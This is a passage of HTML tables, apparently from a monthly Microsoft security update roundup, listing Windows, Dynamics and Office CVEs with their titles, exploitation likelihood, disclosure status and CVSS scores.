href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61360">CVE-2026-61360</a></td><td><p>Windows GDI Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62890">CVE-2026-62890</a></td><td><p>Windows GDI+ Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62709">CVE-2026-62709</a></td><td><p>Windows GDI+ Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62822">CVE-2026-62822</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62702">CVE-2026-62702</a></td><td><p>Windows Graphics Kernel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61346">CVE-2026-61346</a></td><td><p>Windows Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62774">CVE-2026-62774</a></td><td><p>Windows Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61928">CVE-2026-61928</a></td><td><p>Windows Hello Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62750">CVE-2026-62750</a></td><td><p>Windows HTTP Protocol Stack Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61937">CVE-2026-61937</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62753">CVE-2026-62753</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62735">CVE-2026-62735</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62739">CVE-2026-62739</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62741">CVE-2026-62741</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61368">CVE-2026-61368</a></td><td><p>Windows Hyper-V Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62740">CVE-2026-62740</a></td><td><p>Windows Imaging Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54984">CVE-2026-54984</a></td><td><p>Windows Imaging Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59127">CVE-2026-59127</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61925">CVE-2026-61925</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70344">CVE-2026-70344</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70345">CVE-2026-70345</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70346">CVE-2026-70346</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70347">CVE-2026-70347</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62768">CVE-2026-62768</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65774">CVE-2026-65774</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65796">CVE-2026-65796</a></td><td><p>Windows iSCSI Target Service Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65679">CVE-2026-65679</a></td><td><p>Windows iSCSI Target Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65791">CVE-2026-65791</a></td><td><p>Windows iSCSI Target Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62754">CVE-2026-62754</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62773">CVE-2026-62773</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62752">CVE-2026-62752</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61930">CVE-2026-61930</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65773">CVE-2026-65773</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66799">CVE-2026-66799</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62785">CVE-2026-62785</a></td><td><p>Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62795">CVE-2026-62795</a></td><td><p>Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62777">CVE-2026-62777</a></td><td><p>Windows License Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50472">CVE-2026-50472</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62738">CVE-2026-62738</a></td><td><p>Windows Management Instrumentation Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62719">CVE-2026-62719</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62717">CVE-2026-62717</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65790">CVE-2026-65790</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62707">CVE-2026-62707</a></td><td><p>Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56174">CVE-2026-56174</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61366">CVE-2026-61366</a></td><td><p>Windows Network Connection Broker Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68819">CVE-2026-68819</a></td><td><p>Windows Network File System Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62797">CVE-2026-62797</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62700">CVE-2026-62700</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62880">CVE-2026-62880</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61350">CVE-2026-61350</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62796">CVE-2026-62796</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65784">CVE-2026-65784</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62793">CVE-2026-62793</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62887">CVE-2026-62887</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62696">CVE-2026-62696</a></td><td><p>Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62751">CVE-2026-62751</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62690">CVE-2026-62690</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62816">CVE-2026-62816</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62783">CVE-2026-62783</a></td><td><p>Windows Remote Access Connection Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62758">CVE-2026-62758</a></td><td><p>Windows Remote Access Connection Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61924">CVE-2026-61924</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61918">CVE-2026-61918</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61921">CVE-2026-61921</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61356">CVE-2026-61356</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61367">CVE-2026-61367</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62692">CVE-2026-62692</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61364">CVE-2026-61364</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61365">CVE-2026-61365</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62819">CVE-2026-62819</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62757">CVE-2026-62757</a></td><td><p>Windows Schannel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62889">CVE-2026-62889</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61355">CVE-2026-61355</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62770">CVE-2026-62770</a></td><td><p>Windows Shell Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62782">CVE-2026-62782</a></td><td><p>Windows SMB Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65794">CVE-2026-65794</a></td><td><p>Windows SMB Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62800">CVE-2026-62800</a></td><td><p>Windows SMBv3 Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62790">CVE-2026-62790</a></td><td><p>Windows SMBv3 Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59132">CVE-2026-59132</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62792">CVE-2026-62792</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61353">CVE-2026-61353</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62723">CVE-2026-62723</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62724">CVE-2026-62724</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62748">CVE-2026-62748</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62729">CVE-2026-62729</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59122">CVE-2026-59122</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62701">CVE-2026-62701</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62725">CVE-2026-62725</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62726">CVE-2026-62726</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62732">CVE-2026-62732</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62734">CVE-2026-62734</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62699">CVE-2026-62699</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61926">CVE-2026-61926</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62832">CVE-2026-62832</a></td><td><p>Windows User Profile Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62721">CVE-2026-62721</a></td><td><p>Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62712">CVE-2026-62712</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62876">CVE-2026-62876</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62877">CVE-2026-62877</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65678">CVE-2026-65678</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62711">CVE-2026-62711</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62733">CVE-2026-62733</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62885">CVE-2026-62885</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65775">CVE-2026-65775</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62730">CVE-2026-62730</a></td><td><p>Windows Wired AutoConfig Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61349">CVE-2026-61349</a></td><td><p>Windows Work Folder Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61939">CVE-2026-61939</a></td><td><p>Winlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr></tbody></table><p></p><p></p><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66301">CVE-2026-66301</a></td><td><p>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65815">CVE-2026-65815</a></td><td><p>Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40375">CVE-2026-40375</a></td><td><p>Microsoft Dynamics Business Central Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr></tbody></table><h3>Microsoft Office vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-64906">CVE-2026-64906</a></td><td><p>Microsoft Access Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less 